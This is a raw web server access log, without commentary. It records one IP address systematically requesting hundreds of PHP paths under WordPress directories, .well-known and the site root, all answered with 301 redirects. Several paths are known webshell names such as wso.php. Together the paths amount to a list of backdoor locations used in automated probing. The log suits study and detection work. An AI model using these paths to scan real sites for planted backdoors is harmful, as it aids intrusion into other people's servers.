196.251.80.56 - - [23/Sep/2025:14:16:51 -0400] "GET /wp-includes//fresh1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:56 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:00 -0400] "GET /wp-includes//nav-menu-template-path.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:03 -0400] "GET /css//field.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:05 -0400] "GET /wp-includes//default.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:14 -0400] "GET /wp-includes//app.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:18 -0400] "GET /.well-known/pki-validation/sts.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:26 -0400] "GET /wp-includes/IXR/class-IXR-dateprod.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:53 -0400] "GET /.well-known/acme-challenge/aclass.api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:15:56 -0400] "GET /wp-includes/ID3/module.audio-video.matrosk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:03 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:09 -0400] "GET /wp-includes/ID3/apache.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:20 -0400] "GET /wp-content/uploads/mod_ariimageslidersa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:24 -0400] "GET /.well-known/acme-challenge/uuquduwu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:30 -0400] "GET /.tmb//sonic.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:35 -0400] "GET /wp-content//63b7787e92a52.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:38 -0400] "GET /wp-includes/images/1690805250.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:44 -0400] "GET /css//type.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:16:56 -0400] "GET /wp-includes/PHPMailer/classapi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:05 -0400] "GET /cgi-bin//admin.lib.pl HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:08 -0400] "GET /wp-includes/images/1690884116.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:10 -0400] "GET /wp-content/uploads/comment-editor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:10 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:18 -0400] "GET /.well-known//snpc.g.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:22 -0400] "GET /wp-includes//class-wp-post-info.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:29 -0400] "GET /images/avatar/hob.php HTTP/1.1" 301 795 "-" "-"
18.170.53.175 - - [23/Sep/2025:14:17:31 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:14:17:31 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
193.239.84.56 - - [23/Sep/2025:14:17:31 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:14:17:37 -0400] "GET /wp-includes//class-wp-post-link.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:44 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:52 -0400] "GET /wp-includes//class-json-dependency-session.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:03 -0400] "GET /wp-content//6312bf0eb41f2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:03 -0400] "GET /wp-includes//class-snoopye_wso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:07 -0400] "GET /assets//engine.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:15 -0400] "GET /wp-includes//js.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:26 -0400] "GET /wp-includes//data.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:42 -0400] "GET /wp-content/uploads/2017/class-wp-type-registroy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:42 -0400] "GET /images/icons/404.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:45 -0400] "GET /wp-includes//akab.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:48 -0400] "GET /wp-content/uploads/ramiro-404.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:59 -0400] "GET /wp-includes//class-wp-pages.php HTTP/1.1" 301 795 "-" "-"
146.190.11.185 - - [23/Sep/2025:14:17:31 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:14:17:32 -0400] "GET /.well-known//class.api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:41 -0400] "GET /wp-content/uploads/koheju.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:41 -0400] "GET /wp-includes/SimplePie/setting-pages.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:45 -0400] "GET /wp-includes//wp-incc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:47 -0400] "GET /wp-includes//class-pop3.old.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:55 -0400] "GET /wp-includes//class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:17:59 -0400] "GET /assets//include.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:10 -0400] "GET /assets//authorize.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:13 -0400] "GET /wp-includes//new.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:16 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:16 -0400] "GET /css//source.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:20 -0400] "GET /wp-content/uploads/2014/core.class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:20 -0400] "GET /wp-includes//class-admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:23 -0400] "GET /css//expect.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:26 -0400] "GET /wp-content/uploads/slideshow-gallery/slideshow-gallery.php.bak HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:29 -0400] "GET /wp-includes//functions.wp-page.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:32 -0400] "GET /wp-includes//blockstmp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:35 -0400] "GET /wp-includes//class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:37 -0400] "GET /wp-includes//class-wp-custom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:39 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:45 -0400] "GET /.well-known/pki-validation/system.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:48 -0400] "GET /wp-includes/random_compat/error_breess.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:50 -0400] "GET /wp-includes/pomo/bcgvss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:54 -0400] "GET /images//login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:18:56 -0400] "GET /wp-includes/ID3/wp-close.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:07 -0400] "GET /wp-includes//class-wordpress-cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:09 -0400] "GET /css//_parse_propfind.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:18 -0400] "GET /wp-includes//class-wp-real.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:21 -0400] "GET /wp-includes//wp-entry-sec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:23 -0400] "GET /.well-known//premium.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:26 -0400] "GET /wp-includes/css/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:29 -0400] "GET /images//contents.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:32 -0400] "GET /images//defense.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:38 -0400] "GET /.well-known//classapi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:44 -0400] "GET /cgi-bin/counter_dayx/dayxmgr.cgi HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:02 -0400] "GET /.well-known//4dgark.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:04 -0400] "GET /wp-includes//wp-includes/4VcBa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:09 -0400] "GET /wp-content/uploads/2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:12 -0400] "GET /wp-includes//2TaJ2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:15 -0400] "GET /wp-includes/Requests/wp-title.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:25 -0400] "GET /wp-content/uploads/inc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:34 -0400] "GET /images/slider/b.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:40 -0400] "GET /wp-includes//class-wp-image-editor-fd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:44 -0400] "GET /wp-includes//class-wp-xml.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:47 -0400] "GET /wp-admin/images/screenshots/akismet.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:51 -0400] "GET /images//defender.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:59 -0400] "GET /wp-includes//class-wp-metadata-lazyloader-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:05 -0400] "GET /assets//xPDO.idx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:09 -0400] "GET /assets/images/beence.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:12 -0400] "GET /css//default.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:18 -0400] "GET /images//authorize.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:20 -0400] "GET /wp-admin//updates.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:26 -0400] "GET /wp-includes/blocks/archiver.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:36 -0400] "GET /css//authorize.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:39 -0400] "GET /assets//service.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:47 -0400] "GET /wp-content/uploads/revslider/ghost287.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:48 -0400] "GET /.well-known/acme-challenge/dist.widgets-compat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:52 -0400] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:54 -0400] "GET /images//images.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:58 -0400] "GET /wp-content/uploads/ty.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:58 -0400] "GET /wp-includes//class-wp-page-icon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:15 -0400] "GET /wp-includes/customize/class-wp-customize-themes-section-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:21 -0400] "GET /wp-includes//wp-shield-icon-managed.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:27 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:41 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:54 -0400] "GET /.well-known//pki.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:58 -0400] "GET /wp-includes/pomo/en.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:03 -0400] "GET /wp-content/uploads/2023/wso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:03 -0400] "GET /images//task.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:12 -0400] "GET /images//class_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:16 -0400] "GET /assets//expect.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:21 -0400] "GET /wp-content/uploads/641bac8c4b983.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:51 -0400] "GET /wp-content//index_.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:53 -0400] "GET /wp-includes//type.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:56 -0400] "GET /images/news/func.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:19:59 -0400] "GET /wp-content/uploads/56154e43e09bb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:14 -0400] "GET /css//include.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:28 -0400] "GET /wp-includes//source.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:33 -0400] "GET /wp-content//source.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:33 -0400] "GET /css//task.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:39 -0400] "GET /wp-content//license.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:42 -0400] "GET /wp-content/uploads/2013/nfig.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:42 -0400] "GET /images/1/contents.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:52 -0400] "GET /wp-includes//OE1c3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:58 -0400] "GET /wp-content/uploads/zcache.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:20:58 -0400] "GET /wp-content/uploads/2016/robot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:04 -0400] "GET /wp-includes//Dy48Y.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:08 -0400] "GET /wp-includes/Requests/Session-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:36 -0400] "GET /wp-includes/ID3/contact.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:45 -0400] "GET /wp-includes/SimplePie/Mydb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:21:51 -0400] "GET /wp-includes/IXR/class_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:03 -0400] "GET /wp-content/uploads/dec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:05 -0400] "GET /wp-includes//expect.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:19 -0400] "GET /wp-includes//class-wp-json-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:21 -0400] "GET /wp-includes/random_compat/sclass_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:26 -0400] "GET /css//class_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:30 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:34 -0400] "GET /images//thumb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:43 -0400] "GET /wp-includes/customize/class-wp-customize-nav-emnu-location-control.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:00 -0400] "GET /wp-includes//class-wp-page-href.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:04 -0400] "GET /.well-known/pki-validation/classapi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:04 -0400] "GET /css//src.php HTTP/1.1" 301 795 "-" "-"
119.45.20.16 - - [23/Sep/2025:14:23:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
196.251.80.56 - - [23/Sep/2025:14:23:06 -0400] "GET /wp-admin//license.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:12 -0400] "GET /wp-includes//radio.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:15 -0400] "GET /wp-content/plugins/configler/sqlnew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:20 -0400] "GET /wp-includes/images/wp-images.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:27 -0400] "GET /images//class.widgets-tokens.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:33 -0400] "GET /assets//data.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:37 -0400] "GET /wp-includes//class-json-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:41 -0400] "GET /images//library.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:46 -0400] "GET /wp-includes/ID3/62b439b835701.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:49 -0400] "GET /wp-includes//service.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:52 -0400] "GET /wp-includes/pomo/bbypass.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:57 -0400] "GET /wp-content/plugins/background-image-cropper---/beence.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:22:57 -0400] "GET /wp-includes//database.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:15 -0400] "GET /wp-includes/widgets/sclass_api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:17 -0400] "GET /wp-includes/images/1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:23 -0400] "GET /wp-includes//class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:24 -0400] "GET /wp-content/uploads/2010/backup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:24 -0400] "GET /wp-content/plugins/akismet/class.akismet.api.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:24 -0400] "GET /wp-includes/fonts/garbagecron_driver.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:29 -0400] "GET /images//include.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:30 -0400] "GET /wp-includes//core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:33 -0400] "GET /wp-content/uploads/2020/class-wp-type-registroy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:35 -0400] "GET /wp-content/uploads/emember/5613144358456.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:42 -0400] "GET /wp-includes/IXR/class-IXR-update.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:46 -0400] "GET /css//tool.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:55 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:55 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:07 -0400] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:09 -0400] "GET /wp-includes/js/dist/vendor/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:13 -0400] "GET /wp-admin/images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:30 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:33 -0400] "GET /class-wp-customize-nav-menu-item-setting-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:47 -0400] "GET /class-wp-customize-themes-panel-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:50 -0400] "GET /Restriction-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:54 -0400] "GET /class-wp-oembed-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:58 -0400] "GET /QLaYc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:05 -0400] "GET /autoload-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:10 -0400] "GET /Parser-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:12 -0400] "GET /Response-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:21 -0400] "GET /sn-nav.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:25 -0400] "GET /admin-bar-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:33 -0400] "GET /class-wp-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:36 -0400] "GET /gzdecode-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:35 -0400] "GET /wp-content/uploads/piotnet-addons-for-elementor/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:35 -0400] "GET /wp-includes//HiKQb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:39 -0400] "GET /wp-includes/images/1690632242.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:42 -0400] "GET /wp-content/uploads/GeoIP.dat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:49 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:23:52 -0400] "GET /xxl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:02 -0400] "GET /admin-heade.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:17 -0400] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:21 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:21 -0400] "GET /wp-admin/maint/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:27 -0400] "GET /bitrix/admin/xl2023.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:37 -0400] "GET /leyqecdxze.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:40 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:42 -0400] "GET /fS5ou1NCTUa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:45 -0400] "GET /Transport-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:24:53 -0400] "GET /po-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:15 -0400] "GET /eFQLZ.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:18 -0400] "GET /a1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:29 -0400] "GET /class-wp-customize-nav-menu-setting-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:44 -0400] "GET /otFoY.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:04 -0400] "GET /class-wp-object-cache-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:06 -0400] "GET /IRI-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:09 -0400] "GET /class-wp-http-cookie-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:16 -0400] "GET /class-wp-comment-wp.php HTTP/1.1" 301 795 "-" "-"
